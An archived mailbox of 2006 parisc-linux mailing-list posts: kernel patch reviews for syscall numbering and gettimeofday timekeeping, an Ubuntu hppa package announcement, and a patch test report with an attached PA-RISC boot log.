> > http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/syscall_table.S.diff?cvsroot=&r1=1.22&r2=1.23
> > 
> > but currently we have:
> > arch/parisc/kernel/syscall_table.S:		ENTRY_SAME(fstatat64)           /* 280 */
> > while in:
> > include/asm-parisc/unistd.h:			#define __NR_newfstatat         (__NR_Linux + 280)
> 
> I think the right solution is to change current line in unistd.h to this:
> include/asm-parisc/unistd.h:			#define __NR_fstatat64         (__NR_Linux + 280)

Yeah. That looks better to me too.
I suspect I assumed fstatat64 and newfsatat would be equivalent in all contexts.

> The fstatat testcase from LTP passes with then this change as well...

Excellent - thanks for fixing!

grant

> 
> Helge
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] [PATCH] fix gettimeofday() on parisc to be monotonic
Date: Mon, 25 Dec 2006 15:40:05 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20061225224005.GA14136__14450.8289093666$1416624240$gmane$org@colo.lackof.org>
References: <200612210450.55640.deller@gmx.de> <200612210509.09787.deller@gmx.de> <200612211005.04078.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624240 21899 80.91.229.3 (22 Nov 2014 02:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Dec 2006 22:40:08 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx094) with SMTP; 25 Dec 2006 23:40:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0FF6D298058;
	Mon, 25 Dec 2006 15:40:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08995-03; Mon, 25 Dec 2006 15:40:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9D895298053; Mon, 25 Dec 2006 15:40:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200612211005.04078.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e2qjfYFrMmApXLSZZGFn12sxMjQ1N524
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24172

On Thu, Dec 21, 2006 at 10:05:03AM +0100, Helge Deller wrote:
...
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index bad7d1e..896057f 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -34,6 +34,27 @@
>  
>  static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
>  
> +static struct time_interpolator mfctl16_interpolator = {
> +	.shift = 16,
> +	.mask = 0UL-1,

My preference is to use "~OUL" since it's unsigned.
The "0-1" doesn't make sense for unsigned even though most people
will know what it does.

> +	.source = TIME_SOURCE_CPU
> +};
...

> --- a/kernel/timer.c
> +++ b/kernel/timer.c
> @@ -1625,7 +1625,7 @@ struct time_interpolator *time_interpola
>  static struct time_interpolator *time_interpolator_list __read_mostly;
>  static DEFINE_SPINLOCK(time_interpolator_lock);
>  
> -static inline u64 time_interpolator_get_cycles(unsigned int src)
> +static inline cycles_t time_interpolator_get_cycles(unsigned int src)
>  {
>  	unsigned long (*x)(void);
>  
> @@ -1652,7 +1652,7 @@ static inline u64 time_interpolator_get_
>  	if (time_interpolator->jitter)
>  	{
>  		u64 lcycle;
> -		u64 now;
> +		cycles_t now;
>  
>  		do {
>  			lcycle = time_interpolator->last_cycle;

Too bad lcycle and time_interpolator_get_count also don't use cycles_t.

Still looking at the code though.

thanks,
grant



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Feisty and HPPA
Date: Tue, 26 Dec 2006 10:50:02 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <5b2e36650612260750s68a4a19vd83090f5dbe7cff8__2827.5373661474$1416624240$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624240 21900 80.91.229.3 (22 Nov 2014 02:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:00 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 adam.conrad@ubuntu.com,
 "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2006 15:50:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 26 Dec 2006 16:50:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C1D7D7F9;
	Tue, 26 Dec 2006 08:50:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15667-01; Tue, 26 Dec 2006 08:50:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91B4F7D769;
	Tue, 26 Dec 2006 08:50:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7144C7D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Dec 2006 08:50:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15400-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Dec 2006 08:50:02 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.237])
	by free.linux.hp.com (Postfix) with ESMTP id D33627D635
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Dec 2006 08:50:02 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so478511wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Dec 2006 07:50:02 -0800 (PST)
Original-Received: by 10.90.115.4 with SMTP id n4mr11128465agc.1167148202445;
	Tue, 26 Dec 2006 07:50:02 -0800 (PST)
Original-Received: by 10.90.31.6 with HTTP; Tue, 26 Dec 2006 07:50:02 -0800 (PST)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3y3kdigQODBpUrWUfGRM2wM1Ji9SWlIQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24173

For those interested in playing along, I'm putting the .deb's that I'm
building up at:

http://people.ubuntu.com/~jbailey/snapshot/hppa-feisty/

It's apt'able.  You probably also want to have the usual Dapper and
Feisty repos in your sources.list, since older binaries and arch-all
packages can come from there.  Sources are all the pristine source
>from Feisty.

In particular, this features NPTL and TLS, although with 2.6.20-rc2
I'm still seeing the glibc failures that Carlos reported on September
6th[0], not the much-reduced set he reported on September 13th[1].

[0] http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030146.html
[1] http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030197.html

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cell support and fix PCI PDC paths
Date: Wed, 27 Dec 2006 19:49:37 +0100
Lines: 962
Approved: news@gmane.org
Message-ID: <200612271949.37956.deller__41433.2978347831$1416624241$gmane$org@gmx.de>
References: <20061225231328.GA5741@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_BBskFHj9kJL8sAu"
X-Trace: ger.gmane.org 1416624241 21904 80.91.229.3 (22 Nov 2014 02:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:01 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2006 18:50:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 27 Dec 2006 19:50:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 782657D801;
	Wed, 27 Dec 2006 11:49:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24112-10; Wed, 27 Dec 2006 11:49:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 441CE7D7A8;
	Wed, 27 Dec 2006 11:49:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 934C27D735
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 11:49:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24112-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 11:49:45 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id BFF837D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 11:49:43 -0700 (MST)
Original-Received: (qmail invoked by alias); 27 Dec 2006 18:49:41 -0000
Original-Received: from mnhm-590c25ac.pool.einsundeins.de (EHLO p100.box) [89.12.37.172]
	by mail.gmx.net (mp005) with SMTP; 27 Dec 2006 19:49:41 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061225231328.GA5741@parisc-linux.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a/ahcX1tTXs9XKyRbmQ5omRKRzdyMkOA
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24174

--Boundary-00=_BBskFHj9kJL8sAu
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Matthew,

On Tue Dec 26 2006, Matthew Wilcox wrote:
> Grant noted that the way we construct a PDC
> address for a PCI device is wrong on some machines
> (ftp://ftp.parisc-linux.org/patches/diff-2.6.20-rc1-PCI_hwpath).
> I noticed the PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG procedure in the PAT
> PDC document, and decided we should use it instead where we can.
> 
> I also noticed that the definition of the flags byte has been changed
> for PAT machines -- the bottom 6 bits now define which cell the device is
> attached to.  This explains (for example) why we get a duplicate hwpath
> for Vesa's rp8400.
> 
> We would have got wrong results from the pdc_stable driver when it tried
> to read the timeout value, so I've just disabled that sysfs file on pdc
> machines for now.
> 
> I chose to implement cellular support by tagging each parisc_device
> with a 'cell' byte, rather than the more obvious creation of a set of
> cell parisc_devices as I thought this would minimise code churn and
> memory consumption.
> 
> I didn't like the use of PF_* for flag definitions.  To me, PF_* are
> networking protocol families (eg PF_INET).  So I changed that to HWP
> for hardware path.
> 
> Testing appreciated; I've only tried it on an N-class.

I've tested the patch on a c3000, a 715/64 and an B160L.
Your patch works without obvious problems.
dmesg logs of all machines attached.

Helge


--Boundary-00=_BBskFHj9kJL8sAu
Content-Type: text/plain; charset="iso-8859-1"; name="dmesg-715_64-2620rc2.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dmesg-715_64-2620rc2.log"

Linux version 2.6.20-rc2 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #137 Tue Dec 26 01:35:03 CET 2006
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/715
Total Memory: 160 MB
On node 0 totalpages: 40960
  DMA zone: 320 pages used for memmap
  DMA zone: 0 pages reserved
  DMA zone: 40640 pages, LIFO batch:7
  Normal zone: 0 pages used for memmap
Built 1 zonelists.  Total pages: 40640
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 1024 (order: 10, 4096 bytes)
Console: colour dummy device 128x48
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:  ok  |  ok  |failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
142 out of 218 testcases failed, as expected. |
----------------------------------------------------
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
Memory: 156316k/163840k available (3309k kernel code, 7376k reserved, 1474k data, 368k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x1a000000   ( 160 MB)
      .init : 0x10604000 - 0x10660000   ( 368 kB)
      .data : 0x1043b690 - 0x105ac000   (1474 kB)
      .text : 0x10100000 - 0x1043b690   (3309 kB)
Calibrating delay loop... 63.36 BogoMIPS (lpj=126720)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Mirage Jr GSC Builtin Graphics at 0xf8000000 [1] { 10, 0x0, 0x012, 0x00085 }
2. Mirage Jr Core BA at 0xf0100000 [2] { 11, 0x0, 0x028, 0x00081 }
3. Mirage Jr Core SCSI at 0xf0106000 [2/0/1] { 10, 0x0, 0x028, 0x00082 }
4. Mirage Jr Core LAN (802.3) at 0xf0107000 [2/0/2] { 10, 0x0, 0x028, 0x0008a }
5. Mirage Jr Core RS-232 at 0xf0105000 [2/0/4] { 10, 0x0, 0x028, 0x0008c }
6. Mirage Jr Core Centronics at 0xf0102000 [2/0/6] { 10, 0x0, 0x028, 0x00074 }
7. Mirage Jr Audio at 0xf0104000 [2/0/8] { 10, 0x0, 0x028, 0x0007b }
8. Mirage Jr Core PC Floppy at 0xf010a000 [2/0/10] { 10, 0x0, 0x028, 0x00083 }
9. Mirage Jr Core PS/2 Port at 0xf0108000 [2/0/11] { 10, 0x0, 0x028, 0x00084 }
10. Mirage Jr Core PS/2 Port at 0xf0108100 [2/0/12] { 10, 0x0, 0x028, 0x00084 }
11. Mirage Jr Wax EISA BA at 0xfc000000 [4] { 11, 0x0, 0x028, 0x00090 }
12. Mirage Jr Wax BA at 0xf0200000 [5] { 11, 0x0, 0x012, 0x0008e }
13. Mirage Jr Wax HIL at 0xf0201000 [5/0/1] { 10, 0x0, 0x012, 0x00073 }
14. Mirage Jr Wax RS-232 at 0xf0202000 [5/0/2] { 10, 0x0, 0x012, 0x0008c }
15. Mirage Jr (715/64) at 0xfffbe000 [8] { 0, 0x0, 0x60a, 0x00004 }
16. Memory at 0xfffbf000 [9] { 1, 0x0, 0x04a, 0x00009 }
Enabling regular chassis codes support v0.05
CPU(s): 1 x PA7100LC (PCX-L) at 64.000000 MHz
Whole cache flush 46824 cycles, flushing 5636096 bytes 644668 cycles
Setting cache flush threshold to ba0 (1 CPUs online)
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
wax at 0xf0200000 found.
Wax EISA Adapter found at 0xfc000000
Enumerating EISA bus
EISA: Probing bus 0 at 4
EISA: Mainboard HWPC000 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
libata version 2.00 loaded.
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
IP route cache hash table entries: 2048 (order: 1, 8192 bytes)
TCP established hash table entries: 8192 (order: 5, 131072 bytes)
TCP bind hash table entries: 4096 (order: 4, 81920 bytes)
TCP: Hash tables configured (established 8192 bind 4096)
TCP reno registered
Chassis warnings not supported.
unwind_init: start = 0x10530180, end = 0x1056bad0, entries = 15253
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
EISA EEPROM at 0x00810400
PDC Stable Storage facility v0.30
Gecko-style soft power switch enabled.
STI GSC/PCI core graphics driver Version 0.9a
    id 2b4ded6d-40a00499, conforms to spec rev. 8.04
    graphics card name: HPA208LCG1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, HPA208LCG1280, id: 2b4ded6d, mmio: 0xf8100000
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18) is a 16550A
5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 19 [PCSPP,TRISTATE]
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xf0107000, IRQ 17
eth0: 82596 at 0xf0107000, 08 00 09 C2 9E 60 IRQ 17.
orinoco 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
orinoco_cs 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
spectrum_cs 0.15 (Pavel Roskin <proski@gnu.org>, David Gibson <hermes@gibson.dropbear.id.au>, et al)
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi 0:0:6:0: Direct-Access     QUANTUM  FIREBALL_TM3200S 300X PQ: 0 ANSI: 2
 target0:0:6: Beginning Domain Validation
scsi 0:0:6:0: Enabling Tag Command Queuing
 target0:0:6: asynchronous
 target0:0:6: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
st: Version 20061107, fixed bufsize 32768, s/g segs 256
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
sda: Write Protect is off
sda: Mode Sense: a3 00 00 08
SCSI device sda: write cache: enabled, read cache: enabled, doesn't support DPO or FUA
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
sda: Write Protect is off
sda: Mode Sense: a3 00 00 08
SCSI device sda: write cache: enabled, read cache: enabled, doesn't support DPO or FUA
 sda: sda1 sda2 sda3 sda4
sd 0:0:6:0: Attached scsi disk sda
sd 0:0:6:0: Attached scsi generic sg0 type 0
usbmon: debugfs is not available
ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
USB Universal Host Controller Interface driver v3.0
usbcore: registered new interface driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
serio: GSC PS/2 keyboard port at 0x0081a000 irq 22 @ 2:0:11
serio: GSC PS/2 mouse port at 0x0081c100 irq 22 @ 2:0:12
mice: PS/2 mouse device common for all mice
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.
rtc-test rtc-test.0: rtc core: registered test as rtc0
rtc-test rtc-test.1: rtc core: registered test as rtc1
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
raid6: int32x1     19 MB/s
raid6: int32x2     29 MB/s
raid6: int32x4     34 MB/s
raid6: int32x8     25 MB/s
raid6: using algorithm int32x4 (34 MB/s)
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
raid5: measuring checksumming speed
